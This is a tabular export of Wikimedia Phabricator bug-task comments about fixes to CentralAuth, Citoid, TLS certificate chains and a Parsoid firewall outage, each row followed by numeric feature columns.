+444139,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given",Quick fix deployed. Follow up actual fix bug is T96174.,,,1429120494,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+444081,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204281 merged by jenkins-bot:
+Fix fatals in LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/204281]]",,,1429112717,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+444074,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204281 had a related patch set uploaded (by Chad):
+Fix fatals in LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/204281]]
+",,,1429111480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+444073,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204278 merged by jenkins-bot:
+Fix fatals in LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/204278]]",,,1429111386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+444068,"LoginUserMigrated hook causing Fatal Error: Argument 1 passed to CentralAuthUser::getInstance() must be an instance of User, bool given","Change 204278 had a related patch set uploaded (by Legoktm):
+Fix fatals in LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/204278]]
+",,,1429110907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qrefg3pik2zjm224t4aj,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+88897,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Basically if citoid isn't running, and you try to insert a url, the dialog stays pending indefinitely and the cancel button doesn't work.
+
+So, previously I dealt with this bug by stopping the dialog pending directly in the error case of the request, even though it was also in always. The ""always"" case doesn't seem to be working here. 
+
+I remember in code review though we took that out (because it was in always and should have been working) and I seem to remember testing it at the time and not finding a problem, but I might have been mistaken. 
+
+Ed, any ideas? I'll probably patch this in the meantime by putting the push pending back in the error condition, but it seems hacky. ",Unbreak Now!,100.0,1423322226,1423508906.0,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-fi4deicthett2lbdrmyw,task_description,resolved,True,c3,1,True,True,True,-21,True,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0
+408775,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 merged by jenkins-bot:
+Fix: Switch to promise-based citoid requests
+
+[[https://gerrit.wikimedia.org/r/189207]]",,,1423504866,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+408206,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 had a related patch set uploaded (by Glaisher):
+Fix: Add popPending to error case
+
+[[https://gerrit.wikimedia.org/r/189207]]
+
+#patch-for-review",,,1423322865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+408202,"When http error is encountered by citefromurl dialog, dialog stays pending and cancel button does not work.","Change 189207 had a related patch set uploaded (by Mvolz):
+Bug T88897 Fix: Add popPending to error case
+
+[[https://gerrit.wikimedia.org/r/189207]]
+
+#patch-for-review",,,1423322468,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fi4deicthett2lbdrmyw,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+88884,Citoid doesn't care about HTTP errors at all,"For these URLs, Citoid ignores the HTTP errors:
+http://www.google.com/soyouthinkthispagereallyexistsright?
+http://example.com/404
+http://httpstat.us/403",Unbreak Now!,100.0,1423281510,1423494818.0,PHID-USER-scigxlexgozrr4ej5mm5,False,PHID-USER-evd3wnvnlb66lrwulch4,False,PHID-TASK-3bmu3pmssxyuuxb262pu,task_description,resolved,True,c3,1,False,False,True,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+408230,Citoid doesn't care about HTTP errors at all,"Change 189201 merged by jenkins-bot:
+Bug fixes: fix status response codes
+
+[[https://gerrit.wikimedia.org/r/189201]]",,,1423329762,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3bmu3pmssxyuuxb262pu,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+408192,Citoid doesn't care about HTTP errors at all,"Change 189201 had a related patch set uploaded (by Mvolz):
+Bug fixes: fix status response codes
+
+[[https://gerrit.wikimedia.org/r/189201]]
+
+#patch-for-review",,,1423318067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3bmu3pmssxyuuxb262pu,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+88507,The certificate chains of newly installed SHA256 certificates are incomplete.,"The following servers don't send the intermediate certificate: RapidSSL SHA256 CA - G3. It can be downloaded from http://gv.symcb.com/gv.crt.
+
+[X] rt.wikimedia.org
+[X] wikitech-static.wikimedia.org
+[X] etherpad.wikimedia.org
+
+[1] https://www.ssllabs.com/ssltest/analyze.html?d=rt.wikimedia.org
+[2] https://www.ssllabs.com/ssltest/analyze.html?d=wikitech-static.wikimedia.org
+[3] https://www.ssllabs.com/ssltest/analyze.html?d=etherpad.wikimedia.org",Unbreak Now!,100.0,1423021708,1423066255.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-u3k54x4p2oyfxioaycn6,task_description,resolved,True,c3,1,True,False,True,-22,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+407050,The certificate chains of newly installed SHA256 certificates are incomplete.,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).",,,1423118712,,PHID-USER-hrvupzlywpxut735kzuq,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0
+406686,The certificate chains of newly installed SHA256 certificates are incomplete.,"it seems etherpad was fixed when rt was fixed (same system, and now pulling the cert with openssl shows proper intermediary.)",,,1423069519,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+406680,The certificate chains of newly installed SHA256 certificates are incomplete.,"URGH, so even the replacement intermediary isnt really SHA256.  I apologize, I should have caught this issue at the time of replacement!
+
+I'll go through and point the right intermediary cert at the systems I've upgraded the rapidssl certs on, however the end result now is since the intermediary is still sha1 (for sha256 certs, nice rapidssl), we'll need to replace the certs outright in the long run.",,,1423068814,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+406659,The certificate chains of newly installed SHA256 certificates are incomplete.,I managed to fix wikitech-static as well (albeit manually). Why does it even have HTTPS support btw ? Resolving,,,1423066255,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+406645,The certificate chains of newly installed SHA256 certificates are incomplete.,"Change 188562 merged by Alexandros Kosiaris:
+Provision the RapidSSL_SHA256_CA_-_G3 CA
+
+[[https://gerrit.wikimedia.org/r/188562]]",,,1423063814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+406640,The certificate chains of newly installed SHA256 certificates are incomplete.,"Change 188562 had a related patch set uploaded (by Alexandros Kosiaris):
+Provision the RapidSSL_SHA256_CA_-_G3 CA
+
+[[https://gerrit.wikimedia.org/r/188562]]
+
+#patch-for-review",,,1423063491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,False,,,-22,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+406624,The certificate chains of newly installed SHA256 certificates are incomplete.,This broke the RT mail gateway as evidenced in https://gerrit.wikimedia.org/r/#/c/188553/,,,1423061166,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u3k54x4p2oyfxioaycn6,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+86951,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Getting this error while trying to load any page in Betalabs
+Error loading data from server: 503: parsoidserver-http: HTTP 503
+
+{F28851}",Unbreak Now!,100.0,1421350613,1421472826.0,PHID-USER-24djtv3gj5gua2y6u2g5,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-xpjbzjy6efwi4l73tobu,task_description,resolved,True,c3,1,False,False,True,-24,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+401129,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",">>! In T86951#983620, @yuvipanda wrote:
+> To unify prod and beta again, we'll have to either: add base::firewall to parsoid hosts or remove them from beta. I'll discuss this inside ops and remember to keep track.
+
+T87105
+",,,1421519984,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1
+401030,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","After some more digging...
+
+https://gerrit.wikimedia.org/r/#/c/185428/ removed the ferm rule from parsoid, because prod parsoid hosts don't have base::firewall included, and we thought we hada removed all vestiges of base::firewall from beta with T86143. However, it turns out that base::firewall is included by contint::firewall::labs which is included by role::ci::slave::labs::common, on parsoid as well as other *oid hosts on betalabs. So that commit actually broke them all, which is sad. To unify prod and beta again, we'll have to either: add base::firewall to parsoid hosts or remove them from beta. I'll discuss this inside ops and remember to keep track.
+
+I've fixed this now by just adding a common ferm rule to all parsoid hosts opening up port 8000. I'm also adding monitoring now to all *oid hosts to make sure they are still accessible (T87063)",,,1421472826,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+401027,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Change 185607 merged by Yuvipanda:
+parsoid: Open port 8000 with ferm rule
+
+[[https://gerrit.wikimedia.org/r/185607]]",,,1421471718,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+401025,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","Change 185607 had a related patch set uploaded (by Yuvipanda):
+parsoid: Open port 8000 with ferm rule
+
+[[https://gerrit.wikimedia.org/r/185607]]
+
+#patch-for-review",,,1421471605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+401020,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",I have temporarily reverted that change locally and things should work now. It looks like base::firewall is being included some how and I can't seem to find how exactly. Will investigate more in an hour or so,,,1421468261,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+400886,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",Request to add monitoring of the Parsoid service on the beta cluster is T87063,,,1421443818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+400883,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","@akosiaris and @yuvipanda did the ferm cleanup earlier today, though it is unlikely they are still around at that time so one has to find someone catch up.  Maybe reverting the patch for now will be enough to reestablish the service.",,,1421443513,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0
+400881,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","CAN WE PLEASE FILL NEW BUGS????? Thx :)
+
+
+Heading to http://en.wikipedia.beta.wmflabs.org/wiki/1stdecemberchrome?veaction=edit
+
+When saving an edit I get `parsoidserver-http: HTTP 503`
+
+On deployment-parsoid05 it seems the service works just fine:
+
+```
+deployment-parsoid05$ curl http://localhost:8000/_version
+{""name"":""parsoid"",""version"":""0.2.0-git"",""sha"":""2fdf9298e0f3bb9540487f53d87322d53c5bb539""}
+$
+```
+
+Lets check what the Parsoid Varnish backend has to tell us:
+
+```
+deployment-parsoidcache02:~# varnishncsa  -n deployment-parsoidcache02
+pass/503 419 POST http://parsoid/enwiki/1stdecemberchrome - - - 10.68.17.208, 10.68.17.208 -
+```
+
+It does relay to 10.68.17.208 ( deployment-parsoid05 ) but:
+
+```
+curl --location --verbose http://10.68.17.208:8000/enwiki/1stdecemberchrome
+* Hostname was NOT found in DNS cache
+*   Trying 10.68.17.208...
+* connect to 10.68.17.208 port 8000 failed: Connection refused
+* Failed to connect to 10.68.17.208 port 8000: Connection refused
+* Closing connection 0
+curl: (7) Failed to connect to 10.68.17.208 port 8000: Connection refused
+```
+
+The root cause is that some firewall rule that allowed port 8000 has been removed from deployment-parsoid05. It has iptables rules which default to DROP and thus the Varnish cache can't reach the service anymore.
+
+In the puppet log run I found:
+
+```
+Info: Applying configuration version '1421415023'  # Fri, 16 Jan 2015 13:30:23 GMT
+...
+Info: /Stage[main]/Ferm/File[/etc/ferm/conf.d/10_http]: Filebucketed /etc/ferm/conf.d/10_http to puppet with sum 5818ac742d66525b53cd0d83c690a906
+Notice: /Stage[main]/Ferm/File[/etc/ferm/conf.d/10_http]/ensure: removed
+Info: /etc/ferm/conf.d: Scheduling refresh of Service[ferm]
+Notice: /Stage[main]/Ferm/Service[ferm]: Triggered 'refresh' from 1 events
+```
+
+That most definitely dropped the rule that allowed port 8000.
+
+10 minutes before, the change https://gerrit.wikimedia.org/r/#/c/185428/ got merged in. It cleanups the ferm rule from the parsoid host.",,,1421443278,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+400879,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",Looks like this was caused by https://gerrit.wikimedia.org/r/#/c/185428/,,,1421443193,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+400861,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","I didn't fix anything last time. I just did `service parsoid status` and showed that it was running. Then Krenair went away.
+
+I think what happened was that the page they tested on was in parsoid's varnish cache, so everything looked hunky-dory. But if you try a random page, it didn't work.
+
+Looking on [[ https://wikitech.wikimedia.org/wiki/Nova_Resource:I-000006d8.eqiad.wmflabs | wikitech ]], there doesn't seem to a private ip (which should be 10.68.16.120) assigned to deployment-parsoid05. I would think sorting that out would resolve the issue.",,,1421440294,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+400800,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503","I don't think it's the same issue:
+```krenair@deployment-parsoid05:~$ service parsoid status
+parsoid start/running, process 9861```",,,1421436519,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+400779,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",">>! In T86951#980477, @Krenair wrote:
+> Parsoid service on deployment-parsoid05 had stopped for some reason, @Arlolra fixed it
+
+Seems to be broken again: what was the cause/resolution last time?",,,1421434772,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,True,,,-24,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,1
+400775,"Cannot open VE in Betalabs , throwing error Error loading data from server: 503: parsoidserver-http: HTTP 503",and again.,,,1421434605,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-xpjbzjy6efwi4l73tobu,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
